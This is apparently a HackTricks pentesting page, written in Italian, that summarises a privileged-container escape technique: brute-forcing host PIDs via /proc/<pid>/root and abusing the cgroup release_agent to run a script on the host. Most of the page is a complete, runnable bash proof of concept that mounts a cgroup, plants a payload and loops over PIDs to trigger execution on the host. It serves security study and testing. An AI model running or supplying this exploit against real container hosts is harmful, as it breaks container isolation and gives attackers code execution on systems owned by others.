{{#include ../../../../banners/hacktricks-training.md}} Per ulteriori dettagli **controlla il blog port da [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. Questo è solo un riassunto: La tecnica delinea un metodo per **eseguire codice host da all'interno di un container**, superando le sfide poste dalle configurazioni del driver di archiviazione che oscurano il percorso del filesystem del container sull'host, come Kata Containers o impostazioni specifiche di `devicemapper`. Passaggi chiave: 1. **Localizzazione degli ID di processo (PID):** Utilizzando il collegamento simbolico `/proc//root` nel pseudo-filesystem Linux, qualsiasi file all'interno del container può essere accessibile rispetto al filesystem dell'host. Questo bypassa la necessità di conoscere il percorso del filesystem del container sull'host. 2. **PID Bashing:** Viene impiegato un approccio di forza bruta per cercare tra i PID sull'host. Questo viene fatto controllando sequenzialmente la presenza di un file specifico in `/proc//root/`. Quando il file viene trovato, indica che il PID corrispondente appartiene a un processo in esecuzione all'interno del container target. 3. **Attivazione dell'esecuzione:** Il percorso PID indovinato viene scritto nel file `cgroups release_agent`. Questa azione attiva l'esecuzione del `release_agent`. Il successo di questo passaggio è confermato controllando la creazione di un file di output. ### Processo di sfruttamento Il processo di sfruttamento coinvolge un insieme di azioni più dettagliato, mirato a eseguire un payload sull'host indovinando il corretto PID di un processo in esecuzione all'interno del container. Ecco come si svolge: 1. **Inizializza l'ambiente:** Uno script payload (`payload.sh`) viene preparato sull'host e viene creata una directory unica per la manipolazione dei cgroup. 2. **Prepara il payload:** Lo script payload, che contiene i comandi da eseguire sull'host, viene scritto e reso eseguibile. 3. **Configura il cgroup:** Il cgroup viene montato e configurato. Il flag `notify_on_release` è impostato per garantire che il payload venga eseguito quando il cgroup viene rilasciato. 4. **Forza bruta PID:** Un ciclo itera attraverso i potenziali PID, scrivendo ogni PID indovinato nel file `release_agent`. Questo imposta effettivamente lo script payload come `release_agent`. 5. **Attiva e controlla l'esecuzione:** Per ogni PID, il `cgroup.procs` del cgroup viene scritto, attivando l'esecuzione del `release_agent` se il PID è corretto. Il ciclo continua fino a quando non viene trovato l'output dello script payload, indicando un'esecuzione riuscita. PoC dal post del blog: ```bash #!/bin/sh OUTPUT_DIR="/" MAX_PID=65535 CGROUP_NAME="xyx" CGROUP_MOUNT="/tmp/cgrp" PAYLOAD_NAME="${CGROUP_NAME}_payload.sh" PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}" OUTPUT_NAME="${CGROUP_NAME}_payload.out" OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}" # Run a process for which we can search for (not needed in reality, but nice to have) sleep 10000 & # Prepare the payload script to execute on the host cat > ${PAYLOAD_PATH} << __EOF__ #!/bin/sh OUTPATH=\$(dirname \$0)/${OUTPUT_NAME} # Commands to run on the host< ps -eaf > \${OUTPATH} 2>&1 __EOF__ # Make the payload script executable chmod a+x ${PAYLOAD_PATH} # Set up the cgroup mount using the memory resource cgroup controller mkdir ${CGROUP_MOUNT} mount -t cgroup -o memory cgroup ${CGROUP_MOUNT} mkdir ${CGROUP_MOUNT}/${CGROUP_NAME} echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release # Brute force the host pid until the output path is created, or we run out of guesses TPID=1 while [ ! -f ${OUTPUT_PATH} ] do if [ $((${TPID} % 100)) -eq 0 ] then echo "Checking pid ${TPID}" if [ ${TPID} -gt ${MAX_PID} ] then echo "Exiting at ${MAX_PID} :-(" exit 1 fi fi # Set the release_agent path to the guessed pid echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent # Trigger execution of the release_agent sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" TPID=$((${TPID} + 1)) done # Wait for and cat the output sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` {{#include ../../../../banners/hacktricks-training.md}}